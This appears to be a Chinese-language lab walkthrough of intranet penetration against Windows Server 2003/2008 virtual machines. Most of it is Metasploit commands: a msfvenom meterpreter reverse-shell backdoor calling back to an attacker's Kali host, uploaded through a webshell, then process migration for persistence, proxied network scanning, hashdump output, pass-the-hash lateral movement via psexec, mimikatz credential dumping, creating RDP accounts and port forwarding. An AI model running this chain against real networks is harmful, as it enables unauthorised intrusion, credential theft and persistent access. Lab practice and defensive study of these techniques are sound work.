环境搭建

Win Server2003
设置账户密码
右击我的电脑,选择管理,添加本地用户和组,重置admin的密码为123456,方便之后的操作
在vmware中为虚拟机添加一个网卡,网络连接选择LAN区段

开机后手动设置IP地址为 10.0.0.2/24

ipconfig

Win Server2008
虚拟机网络连接选择LAN区段,开机后手动设置IP地址为 10.0.0.3/24

注:两台虚拟机网络连接也可以选择仅主机模式也可以,具体配置自行百度

拿shell
已知win werver2003存在文件上传漏洞,已经被getshell
使用MSF生成后门文件
在Kali生成后门文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.179.128 lport=12345 -f exe >/var/www/html/s.exe
生成完毕,通过webshell将文件上传至win服务器
kali进入msf,开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.179.128
set lport 12345
exploit
等win服务器那边点击了exe文件,这边就上线了

收集信息
注入进程维持权限
一般注入explorer.exe进程

migrate 2424
注入成功后每次启动explorer.exe进程都会启动shell
收集内网信息
-
查看路由表 run autoroute -p
-
检测内网存活
run post/multi/gather/ping_sweep RHOSTS=10.0.0.0/24
run post/windows/gather/arp_scanner RHOSTS=10.0.0.0/24
info post/multi/gather/ping_sweep
 -
代理nmap扫描 添加路由 run autoroute -s 10.0.0.0/24
background
use auxiliary/server/socks4a
set SRVPORT 10044
run
修改配置文件 vi /etc/prxoychains.conf
注释掉原来的,添加一条新的 socks4 192.168.179.128 10044
 这样的话路由就添加完成了 使用nmap逐个扫描上条命令检测出来的IP proxychains nmap -sT -Pn 10.0.0.2 --open -oN 10.0.0.0.txt
保存至10.0.0.0.txt中

通过端口扫描发现开放了445端口,尝试攻击
哈希传递攻击
PTH即pass-the-hash,原理是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码
使用MSF获取hash值
meterpreter > hashdump
Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
............
选择payload,使用winserver2003的账户密码hash,攻击winserver2008,因为内网环境中存在大量密码一样的主机,当我们获得了一台的hash后,可以通过该hash进行横向渗透
background
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
show options -->查看配置选项
set RHOST 10.0.0.3 -->设置攻击目标IP,端口默认445
set SMBUser Administrator -->设置账号为wing
set SMBPass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
攻击得到另外的session

hash解密网站:https://www.objecif-securite.ch/ophcrack
后半段为加密数据

mimikatz
在msf中可以直接载入mimikatz
meterpreter > load mimikatz
meterpreter > msv
meterpreter > kerberos


使用命令开启RDP
run getgui -e
增加帐号
run getgui -u moonsec -p moonsec
端口转发
portfwd add -l 5555 -p 3389 -r 192.168.0.111
rdesktop -u Administrator -p 123qwe 127.0.0.1:5555
proxychains rdesktop -u Administrator -p 123456 10.10.10.134
推荐阅读
内网渗透之横向移动 – 哈希传递攻击研究
传递哈希攻击的原理介绍 
|